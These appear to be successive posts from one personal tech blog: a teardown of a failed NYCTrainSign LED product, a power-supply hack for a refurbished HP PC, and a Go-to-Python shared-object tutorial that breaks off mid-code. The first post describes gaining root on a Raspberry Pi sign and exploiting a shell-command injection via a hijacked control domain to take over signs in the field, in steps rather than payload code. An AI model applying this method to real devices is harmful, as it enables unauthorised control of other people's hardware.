Back in 2017, NYCTrainSign was a company making replicas of the countdown timers that told you how long it would be until the next train came.

But instead of being hung up on the ceiling, you could put it on your desk as a tasteful part of your home.

The person responsible for marketing did a great job driving interest. I remember a lot of Facebook and Instagram posts showing off how the sign could be useful for cafes and pizzerias so their customers could see when they should leave for the train.

However, underneath the veneer of Instagram, the signs were full of subpar engineering and unsustainable costs.

In early 2018 the company stopped replying to social media posts and very few people had received their purchased signs. The company recommended that customers dispute the charge to try to get their money back.

Today, even new companies entering this space have had to deal with the fallout of NYCTrainSign.

Now, 5 years after the company collapsed, I acquired one of their signs to investigate why the company failed. Along the way I ended up taking over the company’s sign control domain and writing an exploit to get full control of any signs still in the field.

Getting a Sign

Sometime in 2021 I found someone on reddit that was selling a NYCTrainSign. They were one of the few who had received product from the company and were looking to get rid of it.

Amazingly, the original owner kept the original packaging.

Disassembly

The sign itself is housed in a wooden case that the company handmade. I believe the company had hired a woodworker out of college to make the cases.

As someone with little to no woodworking skills, the case looks pretty good. There are some bad corners but it wouldn’t look out of place in any home.

The sign internally was comprised of

• 2 LED Matrix Panels
• 1 Raspberry Pi 3
• 1 4GB MicroSD Card
• 1 LED Matrix HAT from Adafruit
• Wiring for the power supply connection
• Wiring for the LED Matrix Panels
• A small button wired to GPIO on the Pi

While the case is fine, internally it shouldn’t take much to tell that the sign is not that well made.

The Pi was only half screwed on by two loose screws. The button (intended for reset) was sort of just hanging around. There’s also a giant hole for some unknown reason. The power supply connection seems like it could break with too much movement and it was actually unplugged when I first got the sign.

The BOM is Too Damn High

A bill of materials or BOM is a list of the raw components that go into a product. Most electronics projects, especially serious ones, will have a detailed BOM that describes the item and price that it goes for.

Often the final cost of the BOM will be much lower than the retail price because of the cost of shipping, R&D, profit margin, etc. Small changes in BOM price can have a big impact on the final cost of an item. It’s not uncommon to switch vendors or parts to save just cents on the BOM.

One trick I use is that multiplying the BOM cost by 4 will often get you the retail price.

With access to a sign we can put together a hypothetical BOM:

• Raspberry Pi 3 - $35
• Adafruit LED Matrix Hat - $25
• LED Matrix * 2 - $60 ($30 each at least)
  • One of their tweets specifically cite using a specific more expensive Adafruit component (https://www.adafruit.com/product/2278).
• 5V 2A Power Supply - $5 (Best Guess)
  • Suspiciously this is not enough amperage to power everything at full power draw. Most guides recommend 4 to 10 amps.
• 4GB MicroSD Card - $7 (Best Guess)
• Wood Case - $15 (Best Guess)
• Miscellaneous Items
  • Wiring, Buttons, Cabling, Screws, Packaging (the sign had some cardboard, a sheet of paper, and some bubble wrap and foam) - $3 (Best Guess)

So roughly the BOM cost was $150. If we were to apply our pricing trick, the suggested retail price should be at least $600.

They did not know the trick

Based on archived webpages the NYCTrainSign team was selling signs for $600 but there are articles mentioning prices like $300. Some people mention purchases for around $200 and even only paying $100.

It seems there were also plans to rent the signs at $30/month as well.

$300 is obviously too low of a price based on the BOM but yet $600 is probably too much. It’s just a sign after all.

Renting could have been an interesting idea but I think it would be very difficult to recoup the initial cash investment. Hardware businesses often need to have an initial cash injection to build inventory and then want to recoup that cash and gather profit as quickly as possible by selling their product.

Who Sold The Shovels

There is a saying that "during a gold rush, you should sell shovels".

In our tale, Adafruit sold the shovels. By using the Adafruit LED Matrix HAT, the BOM cost gets inflated by $25 or about 20%. The HAT is also entirely avoidable with a little engineering work.

This is because:

1. The HAT is not absolutely necessary. The rpi-rgb-led-matrix library used by the sign includes direct wiring instructions and designs for a passive adapter board. These instructions & boards existed back in 2017.
2. A cheaper HAT also existed back in 2017. At $2.10 it would have been significantly cheaper than the $25 Adafruit HAT. Also despite using the more expensive Adafruit HAT the sign for some reason flickers constantly.
3. Most of the time Adafruit parts are used for prototyping but are replaced with something cheaper when going to production. This is likely factored in Adafruit's pricing scheme.  

Now you might also think that The Raspberry Pi Foundation is also a shovel seller. The $35 cost is a lot to stomach and it’s the most expensive single item in the BOM.

Having thought about it, while it may seem like overkill and I wouldn't recommend it, I think using a Pi wasn’t a bad decision compared to using an Arduino or ESP32. It gave the company free marketing and an easy development environment.

In my opinion, if the NYCTrainSign team didn’t want to invest upfront engineering time in using a microcontroller like the ESP32, it would make sense to start with the Raspberry Pi 3, then switch to the Pi Zero W when it was released.

Eventually they should aim to switch to the ESP32 or similar and lower their BOM cost further but it doesn’t seem like starting with the Pi was overtly wrong as long as the long term plan would be to eventually replace it.

Reading the Code

Since the product is Raspberry Pi based, it’s simple to make a backup of the MicroSD card so that I can explore the filesystem and make changes as needed.

The sign’s codebase consists of some custom made Python & NodeJS code as well as a number of open source parts.

There are 2 primary custom components running on the Pi:

• The Python server (LED Server)
• The NodeJS server (Config Server)

LED Server

The LED Server written in Python is responsible for drawing to the LED Matrix and getting train data from the company’s API. The LED server communicates with the Config Server to determine what settings the user has configured and then issues frequent HTTP calls to a remote server to get data like train arrivals and weather.  

With the train data, the LED Server will generate an image or text locally and then render that on the LED Matrix.

Config Server

The Config Server written in NodeJS is responsible for storing user configuration in a JSON file and receiving requests to retrieve and update that file. At boot time, the Config Server will pull the latest configuration from an HTTP server. In addition, the Config Server will connect to an AWS IoT Core endpoint to receive real time config updates from an MQTT server.

Other Components

• On first startup, Wifi is configured with raspberry-wifi-conf which is an open source application that will have the Pi create a wireless network that the user is supposed to connect to and then provide actual WiFi connection details to.
• The Reset button is controlled by a small Python script that is run in the background. When the button is pressed the script deletes wifi settings, resets the hostname, deletes some remote monitoring functionality, and reboots the server.
• It seems that the company could remotely connect to a terminal on every sign. My sign appeared to have remote control software from https://www.dataplicity.com/ installed.

Code Quality

While looking through the code, I noticed various code quality issues:

• Their transit API didn't seem to consider that a station can have multiple train lines. Two lines at the same station would show as ending at the same stops.
• No discernable firmware update process. Perhaps the update process would have just been to have customers flash the MicroSD card with a new Pi image.
• A lot of the Python code merely uses system calls to make changes with the underlying system
• The Python LED server communicates with the NodeJS Config server to store/retrieve configuration. I suspect this was done because it was easier for the team to interact with AWS IoT from NodeJS but easier to interact with the display from Python.
• Frequent mixing of tabs and spaces due to misconfigured code editors
• Entire git history was saved on the MicroSD card
• Bash history saved on the MicroSD card
• Very little code reuse

Sign Ressurection

Getting a Shell

It’s relatively simple to get a root shell on most Raspberry Pi’s as typically there’s no encryption on the MicroSD card. We can simply boot into single user mode and reset the password for the pi user.

However, while we have a shell now and we can play around, none of it really matters because the company’s API doesn’t exist anymore. The sign was programmed to use hard-coded local data when it has no internet access so any data that’s being shown is useless.

Recreating the Server

We could of course update the domain that the sign talks to but luckily the domain that the sign communicates to by default was available for purchase.

So I bought it.

With full control of the domain, we can create a new API based on what the sign is expecting and revive all of the signs that are out in the field. Potentially, we could also perform some kind of update to update signs to more modern software.

I reconstructed the endpoints for the train arrival times (at least for NYC) and weather data. For train times I decided to use the API behind https://wheresthefuckingtrain.com/. For weather data I used the OpenMeteo API.

Getting Sign Control

Like most IoT devices, the sign makes a lot of system calls. One call directly concatenates the sign ID into a shell command. With control of the server in theory we can directly get remote control of any train sign.

Since we control the domain, in theory, we can feed any sign a malicious sign ID and run any arbitrary command. We can then use this to register the sign to our new control server and give people control of their signs again.

After handwaving away some of the boring data wrangling details, our exploit looks like the following:

1. The sign is turned on and it attempts to retrieve configuration. This will loop forever until the sign retrieves something.
2. The sign will eventually send a request for an image logo. This request will contain two ID's unique to each sign. We store these IDs and create an exploit sign config.
3. On the sign’s next config request we serve our exploit to the sign.
4. We instruct the user to restart their sign and our exploit is run on restart
5. The exploit updates any code that’s needed to pair it with our new server

Here is a video of the exploit running:

With the ability to remotely serve arbitrary sign data, we can officially say that our sign has been restored!

With full control of the domain, we are now the new NYCTrainSign captains.

So What Happened Back Then?

Too Many Discounts

I think the core issue is having a high BOM cost as well as selling a lot of signs at a discount.

Even during a beta I really don’t think you can make a product for $150 and then sell it for $117 without any venture capital backing.

As we discussed earlier, even at $300 the product is too cheap. The sign should have likely been selling at $600 from the very beginning.

The product had some ideas around serving ads but an LED sign isn’t really a “get big fast” kind of company. So selling lots of signs at a loss really just serves as marketing.

Too Many Ads

The NYCTrainSign company at one point had a Chief Marketing Officer as well as a Social Media Manager and a Social Media Assistant.

This seems excessive for a burgeoning startup.

At the time, the MTA was experiencing frequent delays which the media was heavily covering. It seems like the company got a lot of free interest very quickly. It likely would have been sufficient to coast off of free marketing.

Combined with the additional ads and marketing that the company was purchasing, there was a lot of demand for the product.

Not Enough Product

However despite the demand, the team could not produce the volumes needed. Not to mention that every sign was being manually built in Brooklyn which is obviously unsustainable with a low retail price. It also seems unlikely that the team was keeping enough inventory on hand so they were probably also affected by the lead time on sourcing parts.

Despite having no ability to fulfill orders, they continued to take them in; likely in a Ponzi-like attempt to get funds to fulfill the previous discounted orders.

At this point, the team told customers they were expecting a 6 month delay while they moved their production to China. Customers who didn’t want to wait could contact their credit card company to issue chargebacks.

Moving to China seems like a pipe dream but it never manifested. Shortly after their announcement the company was shut down and their office shuttered.

Too Many Cooks

Based on Linkedin information there were initially 4 founders. Over time it grew to 11 people and then at some point 15 people involved with the company altogether.

At even just 60k per founder, with the profit per sign sold being maybe $400, you would probably need to sell ~600 signs at full price per year to create enough revenue to run payroll.

One of the founders at some point released a screenshot of their sales activity and they had reached $250k in revenue in about two months.

However it’s unclear how much of that was profit since it seems like many signs were sold at a steep discount. The $600 price point seems excessive. Really the $200 or $300 price point makes more sense.

I imagine that in a city of about 8.5 million it shouldn’t be too hard to sell 600 signs in at least the first year. But next year you’d have to sell ~600 signs all over again. And this isn’t including the cost for any other employees, contractors, etc.

In my opinion, without a better strategy for having a lower BOM cost from the beginning or some kind of recurring revenue, the company would have quickly become unsustainable. Which it obviously did.

Good Idea, Good Timing, Bad Team, Bad Product

After the company was dead in the water, the founders & employees attempted to make some sort of consulting firm for some reason.

The founders have never come clean about what really happened and why so little product was shipped and where the money went. At least one founder says that they personally never received any money but the money had to have gone somewhere.  

This lack of transparency would be what turned the mini darling company into something of a meme.

Today the company is completely gone and 3 out of 4 founders have publicly moved on. Many of the former employees still list the company on their LinkedIn. One founder (the CEO) keeps a low profile and can’t readily be found on the internet.

At the end of the day, the team had no discernible plan about what to do with their product and it really just seems like people who jumped into making a company without thinking carefully about what they’d do at every step. While you can maybe do that with a software company, it’s difficult to do that in the hardware space.

What’s really aggravating is that I truly believe that if the NYCTrainSign team spoke to someone with a background in electronics they would have been more successful. Instead it seems like their primary advisor was their college computer science professor.

It seems like NYCTrainSign just took a project that the CEO created in his spare time and then tried to sell it for $300 to $600 without productionizing it or thinking about what might happen afterwards.

In summary: good idea, good timing, bad team, bad product.

The founders & team for the most part do seem like honest people. I do not think they had any ill will.

They merely were some friends who did not have the experience needed to build a hardware business and were caught off-guard by the success of their marketing.

However, the CEO, Timothy Woo, should come clean about what happened with all the customer funds and what went wrong.

While I’m not sure if there’s a legal requirement to return funds, I do believe there’s a moral obligation to do right by your customer. Especially if you don’t end up giving them their purchase. At the very least I think an explanation is in order.

What Happens Now

When I originally embarked on this adventure I had dreams of building my own sign and then selling it as a product.

I prototyped a very useful sign using an ESP32 that I still use to this day.

However, the more I thought about it, the more I felt that I wasn’t the right person to bring this to market. My strengths are in software and maybe business, not in electrical engineering or woodworking.

Not to mention, LED signage is a crowded space with plenty of existing solutions. Not only are there plenty of LED signs on Amazon, but there are also more fancy signs like Tidbyt or this one I found on Etsy.

I’ve decided that instead of entering into a crowded space, I will continue working on my ESP32 sign mostly as a personal learning project.

For the community I will open source the underlying sign code for the NYCTrainSign as well as the reconstructed API server that includes the exploit code.

I will also maintain the new NYCTrainSign server so long as the hosting costs are fairly low. I don’t intend on adding any new features to the current NYCTrainSign but I do have some ideas for an improved sign firmware.

So if you have a sign from NYCTrainSign, try out the site that I created to manage the signs remotely.

If the instructions don’t work, file an issue. But if you don’t have an NYCTrainSign, definitely don’t buy one.

TL;DR Reverse engineering HP's proprietary PSU so that we can make a cheap gaming PC with parts from Walmart and an old GPU

I'm no environmentalist but I don't really throw away working computer parts. I use them until they break beyond any sense of repairability. You can call me... thrifty... or a hoarder... or maybe just old man.

However back in 2019, I did need to upgrade my GPU to play Call of Duty Modern Warfare 2019. I was going to play the game regardless and my GTX 760 had no chance of playing MW2019. So I bought an RTX 2060.

Thus, my poor 760 was stashed away in some dark corner while I suffered through Warzone.

Selecting the PC

Fast forward to 2021.

• I owe my girlfriend a gaming PC
• GPU prices are through the roof (my $350 RTX 2060 is now worth $600)
• Still have a GTX 760. Not an amazing GPU but perfectly serviceable.

Ignoring the GPU, it would cost about $500 to purchase new parts to build a reasonable PC.

Buying used components might have been the cheapest option but it seemed like a bad idea to build against very outdated hardware. Most of the parts I already have are for older components and buying old PC parts on eBay is expensive anyway.

As a rule of thumb, outside of the high end, prebuilt PCs tend to be better value than a custom built PC. Manufacturers can buy in bulk and get better deals so I started looking for prebuilt PCs that I could add some of my parts to.

Originally I wanted to just buy this refurbished Walmart PC. However, I've never seen it in stock. Likely because it's a really good deal and r/buildapcsales is faster than I am. Walmart's in-stock alerts don't seem to be very reliable either.

After looking around Walmart I ended up purchasing this:

I spent maybe a few hours researching different PCs and this PC stood out for a couple of reasons:

• It was sold & refurbished by Walmart, not a random third party refurbisher
• A review mentioned that they added parts to it but were using multiple PSUs
• My GPU would likely fit based on the measurements I could find
• The motherboard had upgrade options if we wanted them. I could upgrade the RAM to 32 GB, upgrade the CPU to a better AMD CPU, it had a PCIe slot for my GPU, and an M2 slot for an SSD.

There were a few downsides though:

• Some of my initial research showed that HP liked to use proprietary PSUs in their non-gaming PCs. This was likely one of the reasons the review mentioned having to use two PSUs.
• The motherboard chipset is AMD B550A. The B550 shouldn't work with the provided CPU but I later learned that B550A is actually B450 but rebranded to make it seem newer.  

I decided that in the end, I could always just run two PSUs if I couldn't find a way to use a single one. There seemed to be a few PSU adapters anyway...

Proprietary Parts

Walmart shipped really quickly and I had the PC within two days. Who needs Amazon Prime anyway!

However, after opening the PC up I found that the PSU and motherboard were proprietary (Model #: L08261-002). Even worse, the PSU only provided 180W and I needed at least 500W to drive my GPU. The PSU also had a non standard, 7-pin connection to the motherboard.

Based on other people's struggles, it seemed like the HP PSU in theory could be replaced with a regular PSU. The other PSU cables seemed like standard 12V rails:

However it seemed like no one had made an adapter for this particular PSU and some commentary about non-standard standby voltage scared me a bit.

At this point I could either:

1. Use the proprietary PSU and attach a regular PSU to the GPU
2. Reverse engineer the proprietary PSU and try to emulate it

I spent a few hours verifying that I could actually do the first before I decided trying to do the latter.

Pretending to be an Electrical Engineer

I learned a lot about computer power supplies while working through this. Here are some of the important takeaways:

1. PSU wire color coding is actually fairly standardized. You can more or less guess the functionality of a PSU's wiring based on its color.
2. Computer PSUs aren't always supplying power. They activate once you push your PC's power button. This connects a 5v line on the PSU which signals it to turn on. This goes from PS_ON (5v, green wire, a.k.a. Power On) to ground (black wire).
3. After powering on, the PSU reports a signal to the motherboard that everything is okay. This is called PWR_OK (or Power Good) and is typically a gray wire on the PSU.
4. Standard PSUs are always providing about 5V of power to the motherboard so simple components can run. Things like the on/off switch, maybe a USB port to charge.
5. You can connect a paperclip to PS_ON and ground, to fool a power supply into thinking that it should turn on letting you test it with a multimeter.

With that knowledge in mind, let's fast forward a few hours of trying not to electrocute myself. Using a multimeter and the paperclip trick, I learned a few things about the proprietary HP PSU.

1. When on, the HP PSU delivers 12.26V to each of the 2x2 rails on the motherboard. This is within the acceptable ranges for the ATX standard (+11.40V to +12.60 V).
2. The PSU's 6 pin connector is actually just a clever reimagining of the aforementioned green, black, and gray cables. You can literally see into the PSU and see what they labeled each wire for. The colors are even standard!

However the earlier comments about non-standard standby voltage bothered me, so I checked it...

The HP PSU was delivering 12.26V of standby voltage!

Normally, an ATX PSU only provides 5V of standby voltage, but HP decided they wanted to get tricky.

It's my power and I need it now!

Anticipating that I would need to use two PSUs, I ordered a PSU that would have enough wattage to drive everything. It provided 12.05V along the 12v rails when turned on and provided 5V standby voltage. Obviously, this won't work directly.

So how do we get 12V standby voltage to emulate the HP PSU? It took a while for me to be sure to make some PSU customizations but it's actually quite simple.

First we shove a jumper wire between PS_ON and ground to trick the PSU into an always on state. Then wire up the grey wire on the PSU to the grey wire pin on the motherboard to get PWR_OK working.

The PSU now provides 12V constantly and will work properly with the PC's power on button.

In my case, the PSU also had an "eco mode" where the fan would not engage unless there was a certain level of power draw. This meant that the resting wattage usage should be near zero and pretty close to the original PSU.

After hooking everything up... the PC boots with just one PSU!

The astute will notice that the HP PSU provides 12.26V and the new PSU provides 12.05V.

I benchmarked the PC for awhile and did not notice any kind of shutdown or failures but I am keeping this in mind if any issues crop up.

Technically the HP PSU states that it outputs 12.1V and I suspect the differing voltage values are within acceptable ranges for the components.

Style Points

Unfortunately, because the HP case is very small, it's very difficult to put additional hardware inside. It's likely that the case and PSU were specifically made smaller to make the hardware more proprietary.

However, HP did design the case with some ideas around them making modifications or customizations:

• There are PCI slots and an M.2 slot for you to put in some additional hardware
• There are additional screwholes for additional hard drives
• There are screwholes for ATX PSUs but there are bumps and guards preventing using a regular PSU. If you were to cut out those pieces, you could likely fit in a regular PSU.

Since the motherboard has a slot for an M2 SSD so I bought a cheap one from MicroCenter. Much faster than the original 7200 RM HDD but we can keep that around for storing those fat video games.

I screwed in the old HDD in an area by the CD drive that seemed at least partially like it was designed to hold an HDD.

The real issue is that the case has been customized for a miniaturized PSU.

It's not possible to put in an ATX PSU without cutting out parts of the case. Even though I have some ideas about cutting out the space it seems like a bad idea because of the lack of airflow in the small case. Unless we were to also cut out some holes for additional fans, blocking airflow with the PSU would probably be a bad idea.

For now, the PSU can just hang out on the side.

Benchmarks

The performance of the PC in practice was quite good. Before installing the SSD, it did tend to slow down while doing things but afterwards, it was like greased lightning.

Here are the benchmarks provided by UserBenchmark:

I think I'm a little annoyed by the "Raft" characterization but in practice the PC runs games fine. The main game used for testing (World of Warcraft) ran between 80-100 FPS (topped out at 250 FPS) at the recommended graphics settings.

Compared to the standard build, there's about a 10% improvement in the percentages.

In general, benchmarks are mostly just a rough estimate but I'm including them here because I think there's some value in it.

With regards to games, the goal was never to run the latest games with the highest graphics settings but so far it's been very good for the games that we wanted to play.

Total Costs

The following are all the things that I purchased for this project and the cost for me  at the time before tax.

• Walmart PC - $269 (Walmart)
• GTX 760 - N/A
• EVGA PSU - $44.99 (Amazon) (Woot!)
• M2 SSD - 34.99 (Amazon) (MicroCenter)
• Jumper Wires - $4.99 (Amazon) (MicroCenter)
• ATX 4 Pin Extension Cable - $3.99 (Amazon) (MicroCenter)

Total: $357.96

I will probably be selling the proprietary HP PSU to recoup a little more of these costs as well. That should knock maybe $30-$40 off of the total cost. All said and done I think it's safe to consider the final cost here to be about $320.

Conclusion

We were able to combine some mediocre, used/refurbished PC parts into a pretty good gaming PC in a cost efficient way. It might be a little funky with the PSU hanging out on the side but it doesn't look like a disaster. We could theoretically even do some work to get it in the case.

I think maybe the most interesting question to wonder is whether or not the first choice PC was a better value. It has a slightly better CPU,  built in SSD, and a better GPU for $389.00.

We've got a better PSU, extra hard drive space and I think there's a bit more upgradeability because it seems easier to customize the PSU.

Unfortunately though, I'd definitely say that the prebuilt is a better value.

Right now the GPU (1650 SUPER) is valuable enough to cover the entire cost of the PC. They're currently going on eBay for about $300. It's honestly a great deal and deserves it's title as THE Walmart Gaming PC. But good luck finding a refurbished one in stock and buying it new is around $750.

Overall, sure we couldn't beat the king of value, but this was absolutely a good deal.

If you've got some extra computer parts, take a look at buying a pre-built PC and adding your parts into that. It can be more cost effective than buying more parts. There's some work involved sure, but you can get very good value for not a lot of cost.

There's no two ways about it, Python is slow.

I felt this in particular when exploring how to sanitize potentially malicious HTML content in the CTFd content editor.

The two options for sanitizing/processing HTML in Python both have some tradeoffs:

1. Poorly but quickly parse HTML with the available HTML4 parsers (e.g. html.parser, lxml's default options)
2. Slowly but correctly parse HTML5 with html5lib (pretty much all Python HTML5 parsers rely on html5lib)

I began trying lots of the traditional techniques to see if I could speed up the HTML processing.

For example:

• Using more efficient Python language constructs and trying to rewrite code to not be slow 🧠
• Adding threading or multiprocessing (and dealing with whatever problems that causes)
• Compiling your Python code using Cython
• Giving up and using PyPy

Nothing I tried really made a meaningful difference.

I knew that another way to speed up Python was to rewrite everything in another language rewrite slow code in another language and call that code from Python.

But maybe I can guess what you're thinking:

If I'm trying to write faster Python it's because I didn't really want to write C in the first place.

And you would be right! Do you really want to write that C code? Or the ctypes code for that matter?

But let's talk about how we can solves this while writing as little C as possible.

Go Shared Objects

Google's Go programming language has the ability to generate shared libraries/objects which can be loaded by other applications. Those applications can then access the compiled Go code without having to have a Go compiler or know anything about Go.

And if you didn't already know, Python has the ability to import code from shared objects! It's this functionality that many libraries leverage to make certain parts of "Python" code go faster. The difference from the norm here is that we're going to use Go to generate the shared object.

This strategy comes with some benefits and drawbacks that should be stated up front. Most other posts discussing this topic were not clear about the drawbacks and I think some of them are why we're not seeing more Python modules written in Go despite it being a very capable choice.

Pros:

• Golang is much easier to write than C
• Complex tasks (like HTML parsing) have much less risk of memory corruption in Go than in C
• Go's standard library and ecosystem is expansive and easy to access
• A lot of code will be generated for you so you're only ever really writing Python and Go

Cons:

• Unfortunately we still need to manage memory a little
• It's hard to pass non-primitive types between Golang and Python. Or at least I haven't properly worked it out.
• Python packaging is already kind of hard and adding Go into the mix makes it harder. Go's cross-compiliation tools aren't that helpful either but they might be in the future.

Obviously you should only use this technique in specific situations. I'm summarizing something that's worked well for me but you should evaluate and benchmark whether it makes sense.

With that out of the way, onto the code!

Writing our faster code

I'm going to ignore talking about it, but you should get a working Go environment setup. If you can run a Go hello world example, you're good to go. Unfortunately this post won't be a good resource for learning Go but there's far better places for that.

Let's start with a basic example.

package main

import "C"
import "fmt"

//export hello
func hello() {
    fmt.Println("Hello World!")
}

func main() {}

This code obviously just prints "Hello World!" when you call the hello() function. However the magic is in two lines:

1. import "C"
2. //export hello

Importing C enables Go to call C code but also tells the compiler to generate header files that let Go code be called from C. Relevant Go documentation

The export line instructs the Go compiler to export the function beneath the comment to the generated header file so it can be called by other applications. Relevant Go documentation

Next we will compile this code. Run the following command in the same directory as the above hello.go file.

go build -buildmode=c-shared -o hello.so .

This instructs the compiler to build a shared object and relevant header file.

    -buildmode=c-shared
        Build the listed main package, plus all packages it imports,
        into a C shared library. The only callable symbols will
        be those functions exported using a cgo //export comment.
        Requires exactly one main package to be listed.

Afterwards you should now also have hello.h and hello.so:

❯ ls -1
hello.go
hello.h
hello.so

We won't use the header file just yet but don't delete it. We will need to copy the functions marked extern from it in the next section. In this case we would care about the extern int hello(); line near the bottom.

Now you can technically use ctypes to interface with the shared object that was generated.

❯ ipython
Python 3.8.5 (default, Jul 21 2020, 10:48:26)
Type 'copyright', 'credits' or 'license' for more information
IPython 7.19.0 -- An enhanced Interactive Python. Type '?' for help.

In [1]: import ctypes

In [2]: hello = ctypes.CDLL("hello.so")

In [3]: hello.hello()
Hello World!
Out[3]: 0

This is cool but it will become harder as we make more complicated functions.

More complicated functions

Okay let's expand our original example to make it more complicated.

Let's accept and return a string.

package main

import "C"

//export hello
func hello(name *C.char) *C.char {
        goName := C.GoString(name)
        result := "Hello " + goName
        return C.CString(result)
}

func main() {}

This starts to complicate our original example, and starts to reveal the difficulties of writing Go shared modules.

It also introduces a memory leak!

So what's going on here?

1. If we want to pass data in or out, we need to use the C types provided by Go. These aren't well documented by Go but there are some online references.
   In our example, our function needs to accept and return *C.char.

2. Then to use those C types as a Go variable we need to convert it back into a Go string with C.GoString

3. Finally to return it back out as a *C.char we need to use C.CString() to convert the Go string back.

4. However C.CString creates a string using malloc() and thus needs to be freed (which we haven't). Go will not warn you about this mistake. Only you can prevent forest fires memory leaks. Here's a snippet from the Go docs:

   // The C string is allocated in the C heap using malloc.
   // It is the caller's responsibility to arrange for it to be
   // freed, such as by calling C.free (be sure to include stdlib.h
   // if C.free is needed).
   

Let's ignore the memory leak for now. We will address it later.

Once again we can call this example with ctypes but it also gets a little more complicated. Now that we have parameters and return values we need to provide the types for both from Python.

import ctypes

hello = ctypes.CDLL("hello.so")

# Specify a list of all of the types for the arguments
hello.hello.argtypes = [ctypes.c_char_p]

# Specify the type of the return value
hello.hello.restype = ctypes.c_char_p

# Encode our string into bytes 
name = "Dude".encode("utf-8")

# Call the function and store the returned value
response = hello.hello(name)
print(response)  # b'Hello Dude'

This isn't too bad but it's quite annoying to rewrite our type declarations using the ctypes API. Especially as the amount of functions we add grows. There's also the chance that you'll get the type declarations wrong. I have no idea what happens in that scenario.

But there's a better way!

CFFI

The CFFI library allows us to interface with the shared object more easily by letting us directly copy the type specification from Go's generated header files. It also has functions that let us more easily convert a returned pointer into the appropriate Python data structure.

So let's follow CFFI's "Main mode of usage" to build a secondary shared object that will wrap our existing shared object with CFFI's glue code.

Create a new script named build_ffi.py:

from cffi import FFI

ffibuilder = FFI()

# Specify the header that was generated by the Go compiler for source
# Specify the shared object that was generated by the Go compiler for extra_objects
ffibuilder.set_source(
    module_name="hello",
    source="""
        #include "hello.h"
    """,
    extra_objects=["hello.so"],
)

# Copy the extern functions at the bottom of the header file (e.g. hello.h)
ffibuilder.cdef(
    csource="""
    extern char* hello(char* p0);
    """
)

if __name__ == "__main__":
    ffibuilder.compile(verbose=True)

We want to provide cffi with the necessary details to be able to build a wrapper shared module so we will need to provide:

1. Our generated header file
2. Our generated shared object file
3. The list of shared object functions that we wish to be able to call. This was already generated for you by the Go compiler near the bottom the hello.h file. You can just copy & paste it to build_ffi.py. Perhaps you could automatically extract it but that's for a later project.

Once the script is created, run it and you should get something like this:

❯ python build_ffi.py
generating ./hello.c
(already up-to-date)
running build_ext
building 'hello' extension
clang -Wno-unused-result -Wsign-compare -Wunreachable-code -fno-common -dynamic -DNDEBUG -g -fwrapv -O3 -Wall -isysroot /Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk -I/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/usr/include -I/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Library/Frameworks/Tk.framework/Versions/8.5/Headers -I/usr/local/Cellar/python@3.8/3.8.5/Frameworks/Python.framework/Versions/3.8/include/python3.8 -c hello.c -o ./hello.o
clang -bundle -undefined dynamic_lookup -isysroot /Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk ./hello.o hello.so -o ./hello.cpython-38-darwin.so

You will also see a few new files:

• hello.c
• hello.cpython-38-darwin.so (or some other shared object equivalent)
• hello.o

We care about the new hello.cpython-38-darwin.so file. Again the name may be different depending on your OS.

With CFFI the code to interact with the shared object is a little different:

from hello import lib, ffi

name = b"Guy"

r = lib.hello(name)

print(r)  # <cdata 'char *' 0x7ff309706230>
print(ffi.string(r))  # b'Hello Guy'

Essentially our exported functions are available on the lib module and the ffi module provides functions to convert & create between C & Python types.

The full process of interacting with the generated shared object is specified in the CFFI documentation.

Now you can take the generated shared object and write simple Python wrapper code. Users won't ever have to know the dark secret that the actual code isn't even in Python.

The Pitfalls

Most of the existing discussion around this topic simply stops here. It's all perfect, their Hello World Golang module is happily running in production with nary a blip in sight.

That was not the case for me as I ran into a few issues with Go FFI:

• Memory leaks are easy to introduce but it's unclear how to avoid it
• It's hard to pass non-primitive types between Go and Python

Memory Leaks

Let's follow up on our previous example:

package main

import "C"

//export hello
func hello(name *C.char) *C.char {
        goName := C.GoString(name)
        result := "Hello " + goName
        return C.CString(result)
}

func main() {}

I mentioned that this code had a memory leak due to the usage of C.CString() without a subsequent free(). How do you solve this?

The cgo documentation says you should call C.free():

package main

// #include <stdlib.h>
import "C"
import "unsafe"

func main() {
	cs := C.CString("Hello from stdio")
	C.free(unsafe.Pointer(cs))
}

Okay but if I do that how do I return the data to my module? Is there a way to free after I return?

If you dig a little deeper, you will find the defer statement which will defer the execution of a function until the surrounding function returns.

package main

// #include <stdlib.h>
import "C"
import "unsafe"

func main() {
	cs := C.CString("Hello from stdio")
	// Wait for the function to return before freeing
	defer C.free(unsafe.Pointer(cs))
}

The issue with this strategy, if implemented, is that Python will be holding onto a dangling pointer. The pointer will be pointing to a memory location that has been freed so it might change at any point. Here be dragons as they say.

Instead what I settled on was to export a C.free() wrapper function that I could call from Python after I had copied the data. So for example:

package main

// #include <stdlib.h>
import "C"
import "unsafe"

//export hello
func hello(name *C.char) *C.char {
        goName := C.GoString(name)
        result := "Hello " + goName
        return C.CString(result)
}

//export FreeCString
func FreeCString(s *C.char) {
        C.free(unsafe.Pointer(s))
}

func main() {}

Which we then access from Python as:

from hello import lib, ffi

name = b"Guy"

# Store a pointer to the return value
r = lib.hello(name)

# Copy out the string value
value = ffi.string(r)

# Free the pointer
lib.FreeCString(r)

# Value is still available
print(value)
# You can also verify that: 
# - the id() is different
# - cffi uses the proper Python C API functions to copy the value
# https://foss.heptapod.net/pypy/cffi/-/blob/branch/default/cffi/api.py#L302-318
# https://foss.heptapod.net/pypy/cffi/-/blob/branch/default/c/_cffi_backend.c#L6749-6859
# https://docs.python.org/3/c-api/bytes.html#c.PyBytes_FromStringAndSize

Passing data between Go and Python

As I mentioned earlier, it's difficult to pass non-primitive data between Python. You're kind of limited to things like short, int, long, char, float, double and things based off of them.

Say you created a nice Go struct (basically a class) that had all the fields and methods what you wanted. If you're a beginner like me, you might think that you can magically pass that struct over to Python somehow and use it like a regular Python class or something.

That's not the case.

I found that the simplest strategy was to keep Go objects within the Go side and Python objects within the Python side and pass primitive references to each other.

So for example:

package main

/*
 #include <stdlib.h>
*/
import "C"
import (
        "math/rand"

        "github.com/microcosm-cc/bluemonday"
)

var POLICIES = map[uint32]*bluemonday.Policy{}

func GetPolicyId() uint32 {
        policyId := rand.Uint32()

        for {
                if POLICIES[policyId] == nil {
                        break
                } else {
                        policyId = rand.Uint32()
                }
        }
        return policyId
}

//export NewPolicy
func NewPolicy() C.ulong {
        policyId := GetPolicyId()
